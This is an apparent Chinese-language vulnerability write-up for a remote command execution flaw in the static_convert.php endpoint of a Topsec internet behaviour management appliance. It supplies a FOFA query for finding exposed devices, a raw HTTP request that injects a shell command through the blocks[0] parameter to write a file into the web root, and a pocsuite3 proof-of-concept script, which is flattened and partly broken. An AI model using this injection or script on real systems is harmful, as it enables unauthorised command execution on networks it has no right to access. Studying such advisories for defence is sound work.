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漏洞描述

该系统static_convert.php接口处存在RCE漏洞，会导致服务器失陷。

fofa语句

app="天融信-上网行为管理系统"

poc加检测

GET /view/IPV6/naborTable/static_convert.php?blocks[0]=||%20%20echo%20'pstvamqlkzrgslfilwvf'%20>>%20/var/www/html/rrlmkkyopirhaviko.txt%0A HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0

然后访问test.txt页面

poc脚本

使用的pocsuite框架

# _*_ coding:utf-8 _*_
# @Time : 2024/1/3from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD, random_strclass trx_topsec_static_convert_rce(POCBase):pocDesc = '''天融信TOPSEC static_convert 远程命令执行漏洞'''author = '炼金术师诸葛亮'createDate = '2024-1-3'name = '天融信TOPSEC static_convert 远程命令执行漏洞'def _verify(self):result = {}path = """/view/IPV6/naborTable/static_convert.php?blocks[0]=|| echo '123456' >> /var/www/html/test.txt"""path1= "/test.txt"check_url = self.url + path1headers = {"User-Agent": "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36"}url = self.url + pathtry:response = requests.get(url, headers=headers)if response.status_code == 200 and '123456' in response.text:response1 = requests.get(check_url)if response1.status_code == 200 and '123456' in response1.text:result['VerifyInfo'] = {}return self.parse_output(result)except Exception as e:passregister_poc(trx_topsec_static_convert_rce)

脚本利用